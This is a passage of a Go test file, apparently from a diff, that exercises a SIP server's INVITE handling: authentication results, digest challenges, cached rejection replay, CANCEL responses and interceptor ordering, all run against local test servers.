require.Equal(t, expectedToUser, call.To.User) + return AuthInfo{}, fmt.Errorf("Auth Failure") + }, + } + testInvite(t, h, false, expectedFromUser, expectedToUser, func(tx sip.ClientTransaction) { + res := getResponseOrFail(t, tx) + require.Equal(t, sip.StatusCode(100), res.StatusCode) + + res = getResponseOrFail(t, tx) + require.Equal(t, sip.StatusCode(503), res.StatusCode) + }) +} + +func TestService_DispatchUnavailable(t *testing.T) { + const ( + expectedFromUser = "foo" + expectedToUser = "bar" + ) + h := &TestHandler{ + GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + return AuthInfo{Result: AuthAccept}, nil + }, + DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { + return CallDispatch{Result: DispatchServiceUnavailable} + }, + } + testInvite(t, h, false, expectedFromUser, expectedToUser, func(tx sip.ClientTransaction) { + res := getResponseOrFail(t, tx) + require.Equal(t, sip.StatusCode(100), res.StatusCode) + + res = getResponseOrFail(t, tx) + require.Equal(t, sip.StatusCode(180), res.StatusCode) + + res = getResponseOrFail(t, tx) + require.Equal(t, sip.StatusCode(503), res.StatusCode) + }) +} + +func TestService_AuthDrop(t *testing.T) { + const ( + expectedFromUser = "foo" + expectedToUser = "bar" + ) + h := &TestHandler{ + GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + require.Equal(t, expectedFromUser, call.From.User) + require.Equal(t, expectedToUser, call.To.User) + return AuthInfo{Result: AuthDrop}, nil + }, + } + testInvite(t, h, true, expectedFromUser, expectedToUser, func(tx sip.ClientTransaction) { + expectNoResponse(t, tx) + }) +} + +// TestService_RejectedInviteCacheReplay verifies that a second INVITE +// reusing the same Call-ID and From-tag after a final 4xx response gets +// the cached response replayed without invoking the auth/dispatch +// handlers a second time. This guards the dedup that absorbs +// provider-level retries (same Call-ID + From-tag, new SIP transaction) +// after we've already sent a terminal rejection. +func TestService_RejectedInviteCacheReplay(t *testing.T) { + const ( + fromUser = "caller@example.com" + toUser = "callee@example.com" + callID = "rejected-invite-replay-test@example.com" + fromTag = "fixed-from-tag-replay" + ) + + var authCalls, dispatchCalls atomic.Int32 + + h := &TestHandler{ + GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + authCalls.Add(1) + return AuthInfo{Result: AuthAccept}, nil + }, + DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { + dispatchCalls.Add(1) + return CallDispatch{Result: DispatchNoRuleReject} + }, + OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { + // no-op + }, + } + + sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin + localIP, err := config.GetLocalIP() + require.NoError(t, err) + sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) + + mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) + require.NoError(t, err) + + log := logger.LogRLogger(logr.Discard()) + s, err := NewService("", &config.Config{ + SIPPort: sipPort, + SIPPortListen: sipPort, + RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, + }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(nil) + }) + require.NoError(t, err) + require.NotNil(t, s) + s.SetHandler(h) + require.NoError(t, s.Start()) + t.Cleanup(s.Stop) + + ua, err := sipgo.NewUA(sipgo.WithUserAgent(fromUser), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log)))) + require.NoError(t, err) + client, err := sipgo.NewClient(ua) + require.NoError(t, err) + + offer, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) + require.NoError(t, err) + offerData, err := offer.SDP.Marshal() + require.NoError(t, err) + + sendInvite := func() *sip.Response { + recipient := sip.Uri{User: toUser, Host: sipServerAddress} + req := sip.NewRequest(sip.INVITE, recipient) + req.SetDestination(sipServerAddress) + req.SetBody(offerData) + req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + req.AppendHeader(sip.NewHeader("Call-ID", callID)) + req.AppendHeader(&sip.FromHeader{ + DisplayName: fromUser, + Address: sip.Uri{User: fromUser, Host: sipServerAddress}, + Params: sip.HeaderParams{{K: "tag", V: fromTag}}, + }) + tx, err := client.TransactionRequest(req) + require.NoError(t, err) + t.Cleanup(tx.Terminate) + return getFinalResponseOrFail(t, nil, tx) + } + + // First INVITE: full handler invocation, 404 from DispatchNoRuleReject. + res1 := sendInvite() + require.Equal(t, sip.StatusCode(404), res1.StatusCode) + require.Equal(t, int32(1), authCalls.Load()) + require.Equal(t, int32(1), dispatchCalls.Load()) + + // Second INVITE with the same Call-ID + From-tag should be served from + // the cache: same 404, but handlers must NOT be invoked again. + res2 := sendInvite() + require.Equal(t, sip.StatusCode(404), res2.StatusCode) + require.Equal(t, int32(1), authCalls.Load(), "auth handler must not be re-invoked on replay") + require.Equal(t, int32(1), dispatchCalls.Load(), "dispatch handler must not be re-invoked on replay") +} + +func TestService_OnSessionEnd(t *testing.T) { + const ( + expectedCallID = "test-call-id" + expectedSipCallID = "test-sip-call-id" + expectedProjectID = "test-project" + expectedReason = "test-reason" + ) + + callEnded := make(chan struct{}) + var receivedCallIdentifier *CallIdentifier + var receivedCallInfo *livekit.SIPCallInfo + var receivedReason string + + h := &TestHandler{ + GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + return AuthInfo{Result: AuthAccept}, nil + }, + DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { + return CallDispatch{ + Result: DispatchAccept, + Room: RoomConfig{ + RoomName: "test-room", + Participant: ParticipantConfig{ + Identity: "test-participant", + }, + }, + } + }, + OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { + receivedCallIdentifier = callIdentifier + receivedCallInfo = state.CloneInfo() + receivedReason = reason + close(callEnded) + }, + } + + // Create a new service + sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin + + mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) + require.NoError(t, err) + + // Use a no-op logger to avoid panics from async logging after test completion + log := logger.LogRLogger(logr.Discard()) + s, err := NewService("", &config.Config{ + SIPPort: sipPort, + SIPPortListen: sipPort, + RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, + }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(nil) + }) + require.NoError(t, err) + require.NotNil(t, s) + t.Cleanup(s.Stop) + + s.SetHandler(h) + require.NoError(t, s.Start()) + + // Call OnSessionEnd directly with test data + h.OnSessionEnd(context.Background(), &CallIdentifier{ + ProjectID: expectedProjectID, + CallID: expectedCallID, + SipCallID: expectedSipCallID, + }, NewCallState(NewRPCStateHandler(nil), &livekit.SIPCallInfo{ + CallId: expectedCallID, + ParticipantAttributes: map[string]string{ + "projectID": expectedProjectID, + AttrSIPCallIDFull: expectedSipCallID, + }, + }), expectedReason) + + // Wait for OnSessionEnd to be called + select { + case <-callEnded: + // Success + case <-time.After(time.Second): + t.Fatal("OnSessionEnd was not called") + } + + // Verify the CallIdentifier fields are correctly populated + require.NotNil(t, receivedCallIdentifier, "CallIdentifier should not be nil") + require.Equal(t, expectedProjectID, receivedCallIdentifier.ProjectID, "CallIdentifier.ProjectID should match") + require.Equal(t, expectedCallID, receivedCallIdentifier.CallID, "CallIdentifier.CallID should match") + require.Equal(t, expectedSipCallID, receivedCallIdentifier.SipCallID, "CallIdentifier.SipCallID should match") + + // Verify the CallInfo fields + require.NotNil(t, receivedCallInfo, "CallInfo should not be nil") + require.Equal(t, expectedProjectID, receivedCallInfo.ParticipantAttributes["projectID"], "CallInfo.ParticipantAttributes[projectID] should match") + require.Equal(t, expectedCallID, receivedCallInfo.CallId, "CallInfo.CallId should match") + require.Equal(t, expectedSipCallID, receivedCallInfo.ParticipantAttributes[AttrSIPCallIDFull], "CallInfo.ParticipantAttributes[sip.callIDFull] should match") + require.Equal(t, expectedReason, receivedReason, "Reason should match") +} + +type interceptorRecorder struct { + mu sync.Mutex + logs []string +} + +func (l *interceptorRecorder) loggingInterceptor(name string) HandlerInterceptor { + return func(handler sipgo.RequestHandler) sipgo.RequestHandler { + return func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + l.log(fmt.Sprintf("enter %s", name)) + handler(log, req, tx) + l.log(fmt.Sprintf("exit %s", name)) + } + } +} + +func (l *interceptorRecorder) log(msg string) { + l.mu.Lock() + defer l.mu.Unlock() + l.logs = append(l.logs, msg) +} + +func (l *interceptorRecorder) get() []string { + l.mu.Lock() + defer l.mu.Unlock() + return slices.Clone(l.logs) +} + +func TestService_Interceptors(t *testing.T) { + h := &TestHandler{} + done := make(chan struct{}, 1) + + sentinel := func(handler sipgo.RequestHandler) sipgo.RequestHandler { + return func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + handler(log, req, tx) + done <- struct{}{} + } + } + + recorder := &interceptorRecorder{} + + sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin + localIP, err := config.GetLocalIP() + require.NoError(t, err) + sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) + + mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) + require.NoError(t, err) + + // Use a no-op logger to avoid panics from async logging after test completion + log := logger.LogRLogger(logr.Discard()) + s, err := NewService("", &config.Config{ + HideInboundPort: false, + SIPPort: sipPort, + SIPPortListen: sipPort, + RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, + }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(nil) + }, WithInterceptors(sentinel, recorder.loggingInterceptor("a"), recorder.loggingInterceptor("b"))) + require.NoError(t, err) + require.NotNil(t, s) + t.Cleanup(s.Stop) + s.SetHandler(h) + require.NoError(t, s.Start()) + + sipUserAgent, err := sipgo.NewUA( + sipgo.WithUserAgent("from-user"), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), + ) + require.NoError(t, err) + + client, err := sipgo.NewClient(sipUserAgent) + require.NoError(t, err) + recipient := sip.Uri{Host: sipServerAddress} + req := sip.NewRequest(sip.OPTIONS, recipient) + req.SetDestination(sipServerAddress) + req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + tx, err := client.TransactionRequest(req) + require.NoError(t, err) + t.Cleanup(tx.Terminate) + + select { + case <-done: + case <-time.After(time.Second * 2): + t.Fatal("handler did not return") + } + + wantLogs := []string{ + "enter a", + "enter b", + "exit b", + "exit a", + } + require.Equal(t, wantLogs, recorder.get()) +} + +// TestDigestAuthSimultaneousCalls tests that simultaneous calls from the same "from" number +// don't interfere with each other's digest authentication state +func TestDigestAuthSimultaneousCalls(t *testing.T) { + const ( + sameFromUser = "callcenter@example.com" + toUser1 = "agent1@example.com" + toUser2 = "agent2@example.com" + username = "testuser" + password = "testpass" + ) + + // Track authentication attempts to verify they're independent + authAttempts := make(map[string]int) + var authMutex sync.Mutex + + h := &TestHandler{ + GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + authMutex.Lock() + defer authMutex.Unlock() + + // Track each call by its SIP Call ID + sipCallID := call.SipCallId + authAttempts[sipCallID]++ + + // Return password authentication required + return AuthInfo{ + Result: AuthPassword, + Auth: InboundAuth{ + Username: username, + Password: password, + }, + }, nil + }, + DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { + return CallDispatch{ + Result: DispatchNoRuleReject, + // No room config needed for reject + } + }, + OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { + // No-op for tests to avoid async logging issues + }, + } + + // Create service with authentication enabled + sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin + localIP, err := config.GetLocalIP() + require.NoError(t, err) + + sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) + + mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) + require.NoError(t, err) + + // Use a no-op logger to avoid panics from async logging after test completion + log := logger.LogRLogger(logr.Discard()) + s, err := NewService("", &config.Config{ + HideInboundPort: false, // Enable authentication + SIPPort: sipPort, + SIPPortListen: sipPort, + RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, + }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(nil) + }) + require.NoError(t, err) + require.NotNil(t, s) + t.Cleanup(s.Stop) + + s.SetHandler(h) + require.NoError(t, s.Start()) + + // Create two SIP clients for simultaneous calls + sipUserAgent1, err := sipgo.NewUA( + sipgo.WithUserAgent(sameFromUser), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), + ) + require.NoError(t, err) + + sipUserAgent2, err := sipgo.NewUA( + sipgo.WithUserAgent(sameFromUser), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), + ) + require.NoError(t, err) + + sipClient1, err := sipgo.NewClient(sipUserAgent1) + require.NoError(t, err) + + sipClient2, err := sipgo.NewClient(sipUserAgent2) + require.NoError(t, err) + + // Create SDP offers + offer1, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) + require.NoError(t, err) + offerData1, err := offer1.SDP.Marshal() + require.NoError(t, err) + + offer2, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0C, sdp.EncryptionNone) + require.NoError(t, err) + offerData2, err := offer2.SDP.Marshal() + require.NoError(t, err) + + // Create two simultaneous INVITE requests + inviteRecipient1 := sip.Uri{User: toUser1, Host: sipServerAddress} + inviteRequest1 := sip.NewRequest(sip.INVITE, inviteRecipient1) + inviteRequest1.SetDestination(sipServerAddress) + inviteRequest1.SetBody(offerData1) + inviteRequest1.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + // Set different Call-IDs for each request + inviteRequest1.AppendHeader(sip.NewHeader("Call-ID", "call1-123@test.com")) + + inviteRecipient2 := sip.Uri{User: toUser2, Host: sipServerAddress} + inviteRequest2 := sip.NewRequest(sip.INVITE, inviteRecipient2) + inviteRequest2.SetDestination(sipServerAddress) + inviteRequest2.SetBody(offerData2) + inviteRequest2.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + // Set different Call-IDs for each request + inviteRequest2.AppendHeader(sip.NewHeader("Call-ID", "call2-456@test.com")) + + // Start both transactions simultaneously + tx1, err := sipClient1.TransactionRequest(inviteRequest1) + require.NoError(t, err) + t.Cleanup(tx1.Terminate) + + tx2, err := sipClient2.TransactionRequest(inviteRequest2) + require.NoError(t, err) + t.Cleanup(tx2.Terminate) + + // Both should receive 100 Trying first, then 407 Unauthorized with different challenges + res1 := getResponseOrFail(t, tx1) + require.Equal(t, sip.StatusCode(100), res1.StatusCode, "First call should receive 100 Trying") + res1 = getResponseOrFail(t, tx1) + require.Equal(t, sip.StatusCode(407), res1.StatusCode, "First call should receive 407 Unauthorized") + + res2 := getResponseOrFail(t, tx2) + require.Equal(t, sip.StatusCode(100), res2.StatusCode, "Second call should receive 100 Trying") + res2 = getResponseOrFail(t, tx2) + require.Equal(t, sip.StatusCode(407), res2.StatusCode, "Second call should receive 407 Unauthorized") + + // Verify both calls have different Proxy-Authenticate headers (different nonces) + authHeader1 := res1.GetHeader("Proxy-Authenticate") + require.NotNil(t, authHeader1, "First response should have Proxy-Authenticate header") + + authHeader2 := res2.GetHeader("Proxy-Authenticate") + require.NotNil(t, authHeader2, "Second response should have Proxy-Authenticate header") + + // The challenges should be different (different nonces) + require.NotEqual(t, authHeader1.Value(), authHeader2.Value(), + "Different calls should have different authentication challenges") + + // Now test the complete authentication flow for both calls + // Parse challenges and compute digest responses + challenge1, err := digest.ParseChallenge(authHeader1.Value()) + require.NoError(t, err, "Should be able to parse first challenge") + + challenge2, err := digest.ParseChallenge(authHeader2.Value()) + require.NoError(t, err, "Should be able to parse second challenge") + + // Compute digest responses for both calls + cred1, err := digest.Digest(challenge1, digest.Options{ + Method: "INVITE", + URI: inviteRecipient1.String(), + Username: username, + Password: password, + }) + require.NoError(t, err, "Should be able to compute digest response for first call") + + cred2, err := digest.Digest(challenge2, digest.Options{ + Method: "INVITE", + URI: inviteRecipient2.String(), + Username: username, + Password: password, + }) + require.NoError(t, err, "Should be able to compute digest response for second call") + + // Create authenticated INVITE requests for both calls + authInviteRequest1 := sip.NewRequest(sip.INVITE, inviteRecipient1) + authInviteRequest1.SetDestination(sipServerAddress) + authInviteRequest1.SetBody(offerData1) + authInviteRequest1.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + authInviteRequest1.AppendHeader(sip.NewHeader("Call-ID", "call1-123@test.com")) + authInviteRequest1.AppendHeader(sip.NewHeader("Proxy-Authorization", cred1.String())) + + authInviteRequest2 := sip.NewRequest(sip.INVITE, inviteRecipient2) + authInviteRequest2.SetDestination(sipServerAddress) + authInviteRequest2.SetBody(offerData2) + authInviteRequest2.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + authInviteRequest2.AppendHeader(sip.NewHeader("Call-ID", "call2-456@test.com")) + authInviteRequest2.AppendHeader(sip.NewHeader("Proxy-Authorization", cred2.String())) + + // Send authenticated requests + authTx1, err := sipClient1.TransactionRequest(authInviteRequest1) + require.NoError(t, err) + t.Cleanup(authTx1.Terminate) + + authTx2, err := sipClient2.TransactionRequest(authInviteRequest2) + require.NoError(t, err) + t.Cleanup(authTx2.Terminate) + + // Both authenticated requests should receive 100 Trying first + authRes1 := getResponseOrFail(t, authTx1) + require.Equal(t, sip.StatusCode(100), authRes1.StatusCode, "First authenticated call should receive 100 Trying") + + authRes2 := getResponseOrFail(t, authTx2) + require.Equal(t, sip.StatusCode(100), authRes2.StatusCode, "Second authenticated call should receive 100 Trying") + + // Both should now proceed with authentication (either 200 OK or continue with call processing) + authRes1 = getResponseOrFail(t, authTx1) + authRes2 = getResponseOrFail(t, authTx2) + + // Log the results for debugging + t.Logf("First authenticated call got status: %d", authRes1.StatusCode) + t.Logf("Second authenticated call got status: %d", authRes2.StatusCode) + + // Verify each call was tracked independently (should be 2 calls total) + // Note: Each SipCallId gets tracked twice - once for initial request, once for authenticated request + authMutex.Lock() + require.Equal(t, 2, len(authAttempts), "Should have tracked 2 different calls") + require.Equal(t, 2, authAttempts["call1-123@test.com"], "First call should be tracked twice (initial + authenticated)") + require.Equal(t, 2, authAttempts["call2-456@test.com"], "Second call should be tracked twice (initial + authenticated)") + authMutex.Unlock() +} + +// TestDigestAuthStandardFlow tests the standard authentication flow where the same Call-ID gets the same challenge state +func TestDigestAuthStandardFlow(t *testing.T) { + const ( + fromUser = "test@example.com" + toUser = "agent@example.com" + username = "testuser" + password = "testpass" + callID = "same-call-id@test.com" + ) + + h := &TestHandler{ + GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + return AuthInfo{ + Result: AuthPassword, + Auth: InboundAuth{ + Username: username, + Password: password, + }, + }, nil + }, + DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { + return CallDispatch{ + Result: DispatchNoRuleReject, + // No room config needed for reject + } + }, + OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { + // No-op for tests to avoid async logging issues + }, + } + + // Create service with authentication enabled + sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin + localIP, err := config.GetLocalIP() + require.NoError(t, err) + + sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) + + mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) + require.NoError(t, err) + + // Use a no-op logger to avoid panics from async logging after test completion + log := logger.LogRLogger(logr.Discard()) + s, err := NewService("", &config.Config{ + HideInboundPort: false, // Enable authentication + SIPPort: sipPort, + SIPPortListen: sipPort, + RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, + }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(nil) + }) + require.NoError(t, err) + require.NotNil(t, s) + t.Cleanup(s.Stop) + + s.SetHandler(h) + require.NoError(t, s.Start()) + + sipUserAgent, err := sipgo.NewUA( + sipgo.WithUserAgent(fromUser), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), + ) + require.NoError(t, err) + + sipClient, err := sipgo.NewClient(sipUserAgent) + require.NoError(t, err) + + offer, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) + require.NoError(t, err) + offerData, err := offer.SDP.Marshal() + require.NoError(t, err) + + // Create first INVITE request with specific Call-ID + inviteRecipient := sip.Uri{User: toUser, Host: sipServerAddress} + inviteRequest1 := sip.NewRequest(sip.INVITE, inviteRecipient) + inviteRequest1.SetDestination(sipServerAddress) + inviteRequest1.SetBody(offerData) + inviteRequest1.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + inviteRequest1.AppendHeader(sip.NewHeader("Call-ID", callID)) + + tx1, err := sipClient.TransactionRequest(inviteRequest1) + require.NoError(t, err) + t.Cleanup(tx1.Terminate) + + // Should receive 100 Trying first, then 407 Unauthorized + res1 := getResponseOrFail(t, tx1) + require.Equal(t, sip.StatusCode(100), res1.StatusCode, "First request should receive 100 Trying") + res1 = getResponseOrFail(t, tx1) + require.Equal(t, sip.StatusCode(407), res1.StatusCode, "First request should receive 407 Unauthorized") + + // Get the challenge from first response + authHeader1 := res1.GetHeader("Proxy-Authenticate") + require.NotNil(t, authHeader1, "First response should have Proxy-Authenticate header") + challenge1 := authHeader1.Value() + + // Parse the challenge to extract nonce and realm + challenge, err := digest.ParseChallenge(challenge1) + require.NoError(t, err, "Should be able to parse challenge") + + // Compute the digest response using the challenge and credentials + cred, err := digest.Digest(challenge, digest.Options{ + Method: "INVITE", + URI: inviteRecipient.String(), + Username: username, + Password: password, + }) + require.NoError(t, err, "Should be able to compute digest response") + + // Create second INVITE request with the SAME Call-ID and Proxy-Authorization header + inviteRequest2 := sip.NewRequest(sip.INVITE, inviteRecipient) + inviteRequest2.SetDestination(sipServerAddress) + inviteRequest2.SetBody(offerData) + inviteRequest2.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + inviteRequest2.AppendHeader(sip.NewHeader("Call-ID", callID)) + inviteRequest2.AppendHeader(sip.NewHeader("Proxy-Authorization", cred.String())) + + tx2, err := sipClient.TransactionRequest(inviteRequest2) + require.NoError(t, err) + t.Cleanup(tx2.Terminate) + + // Should receive 100 Trying first, then proceed with authentication + res2 := getResponseOrFail(t, tx2) + require.Equal(t, sip.StatusCode(100), res2.StatusCode, "Second request should receive 100 Trying") + + // The second request should either succeed (200) or get another 407 if there are issues + // Let's check what response we get + res2 = getResponseOrFail(t, tx2) + switch res2.StatusCode { + case 407: + // If we get another 407, it means authentication failed + t.Logf("Second request got 407 again, authentication may have failed") + case 200: + t.Logf("Second request succeeded with 200 OK") + default: + t.Logf("Second request got status: %d", res2.StatusCode) + } +} + +// When a cancel request is sent, we expect two responses, 200 (for CANCEL), and 487 (for INVITE). +// This test makes sure the 487 response is received (can't test CANCEL-200) +func TestCANCELSendsBothResponses(t *testing.T) { + const ( + fromUser = "caller@example.com" + toUser = "callee@example.com" + ) + + st := NewServiceTest(t, &serviceTestConfig{GetRoom: newTestRoomConfig(&testRoomConfig{ringForever: true})}) + + call := newTestCall(st.TestUA, false) + req, localSDP, err := call.Invite(nil) + require.NoError(t, err) + call.SetLocalSDP(localSDP) + + ctx, cancel := context.WithTimeout(t.Context(), 1*time.Second) + defer cancel() + + inviteTx, err := st.TestUA.Client.TransactionRequest(req) + require.NoError(t, err) + defer inviteTx.Terminate() + + // Wait for 100 Trying + res100 := getResponseOrFailTimeout(t, ctx, inviteTx) + require.Equal(t, sip.StatusCode(100), res100.StatusCode, "Should receive 100 Trying") + + // Wait for 180 Ringing (call is now ringing) + res180 := getResponseOrFailTimeout(t, ctx, inviteTx) + require.Equal(t, sip.StatusCode(180), res180.StatusCode, "Should receive 180 Ringing") + remoteTag, ok := res180.To().Params.Get("tag") + require.True(t, ok, "remote tag should be present") + call.SetRemoteTag(LocalTag(remoteTag)) + + // Now send CANCEL + err = inviteTx.Cancel() + require.NoError(t, err, "Should be able to send CANCEL") + + // On-the-wire there should be two responses after CANCEL: + // 1. 200 OK response to the CANCEL request (CSeq method = CANCEL) + // 2. 487 Request Terminated response to the original INVITE (CSeq method = INVITE) + // This is the critical one - we must receive it + // However, the 200 OK response to CANCEL will not come through tx.Responses(). + // Sipgo treats both INVITE and CANCEL as the same transaction, and has special handling + // to swallow the 200 OK response to CANCEL, so it can't look like the INVITE got the 200. + + res := getFinalResponseOrFail(t, ctx, inviteTx) + require.Equal(t, sip.StatusCode(487), res.StatusCode, "Should have received 487 Request Terminated response to INVITE when CANCEL is sent") + cseq := res.CSeq() + require.NotNil(t, cseq, "487 response should have CSeq header") + require.Equal(t, sip.INVITE, cseq.MethodName, "487 response should be for INVITE method") +} + +// TestSameCallIDForAuthFlow verifies that the same LiveKit call ID is assigned to both +// the initial INVITE (without auth) and the subsequent INVITE (with auth) +func TestSameCallIDForAuthFlow(t *testing.T) { + const ( + fromUser = "test@example.com" + toUser = "agent@example.com" + username = "testuser" + password = "testpass" + callID = "same-call-id@test.com" + fromTag = "fixed-from-tag-12345" + ) + + var capturedCallIDs []string + var mu sync.Mutex + + log := logger.NewTestLoggerLevel(t, 1) + + h := &TestHandler{ + GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + // Capture the LiveKit call ID from the first request + mu.Lock() + capturedCallIDs = append(capturedCallIDs, call.LkCallId) + mu.Unlock() + + log.Infow("GetAuthCredentials called", "callID", call.LkCallId) + + return AuthInfo{ + Result: AuthPassword, + Auth: InboundAuth{ + Username: username, + Password: password, + }, + }, nil + }, + DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { + return CallDispatch{ + Result: DispatchNoRuleReject, + // No room config needed for reject + } + }, + OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { + // No-op for tests to avoid async logging issues + }, + } + + // Create service with authentication enabled + sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin + localIP, err := config.GetLocalIP() + require.NoError(t, err) + + sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) + + mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) + require.NoError(t, err) + + s, err := NewService("", &config.Config{ + HideInboundPort: false, // Enable authentication + SIPPort: sipPort, + SIPPortListen: sipPort, + RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, + }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(nil) + }) + require.NoError(t, err) + require.NotNil(t, s) + + s.SetHandler(h) + require.NoError(t, s.Start()) + t.Cleanup(s.Stop) + + sipUserAgent, err := sipgo.NewUA( + sipgo.WithUserAgent(fromUser), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), + ) + require.NoError(t, err) + + sipClient, err := sipgo.NewClient(sipUserAgent) + require.NoError(t, err) + + offer, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) + require.NoError(t, err) + offerData, err := offer.SDP.Marshal() + require.NoError(t, err) + + inviteFromHeader := sip.FromHeader{ + DisplayName: fromUser, + Address: sip.Uri{User: fromUser, Host: sipServerAddress}, + Params: sip.HeaderParams{{"tag", fromTag}}, // Key bit here + } + + // Create first INVITE request (without auth) + inviteRecipient := sip.Uri{User: toUser, Host: sipServerAddress} + inviteRequest1 := sip.NewRequest(sip.INVITE, inviteRecipient) + inviteRequest1.SetDestination(sipServerAddress) + inviteRequest1.SetBody(offerData) + inviteRequest1.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + inviteRequest1.AppendHeader(sip.NewHeader("Call-ID", callID)) + inviteRequest1.AppendHeader(&inviteFromHeader) + + tx1, err := sipClient.TransactionRequest(inviteRequest1) + require.NoError(t, err) + t.Cleanup(tx1.Terminate) + + // Should receive 100 Trying first, then 407 Unauthorized + res1 := getResponseOrFail(t, tx1) + require.Equal(t, sip.StatusCode(100), res1.StatusCode, "First request should receive 100 Trying") + res1 = getResponseOrFail(t, tx1) + require.Equal(t, sip.StatusCode(407), res1.StatusCode, "First request should receive 407 Unauthorized") + + // Get the To tag from the 407 response + toHeader := res1.To() + require.NotNil(t, toHeader, "407 response should have To header") + _, ok := toHeader.Params.Get("tag") + require.True(t, ok, "407 response To header should have tag parameter") + + // Get the challenge from first response + authHeader1 := res1.GetHeader("Proxy-Authenticate") + require.NotNil(t, authHeader1, "First response should have Proxy-Authenticate header") + challenge1 := authHeader1.Value() + + // Parse the challenge to extract nonce and realm + challenge, err := digest.ParseChallenge(challenge1) + require.NoError(t, err, "Should be able to parse challenge") + + // Compute the digest response using the challenge and credentials + cred, err := digest.Digest(challenge, digest.Options{ + Method: "INVITE", + URI: inviteRecipient.String(), + Username: username, + Password: password, + }) + require.NoError(t, err, "Should be able to compute digest response") + + // Create second INVITE request (with auth) using the SAME Call-ID, From tag, and To tag + inviteRequest2 := sip.NewRequest(sip.INVITE, inviteRecipient) + inviteRequest2.SetDestination(sipServerAddress) + inviteRequest2.SetBody(offerData) + inviteRequest2.AppendHeader(sip.NewHeader("Content-Type", 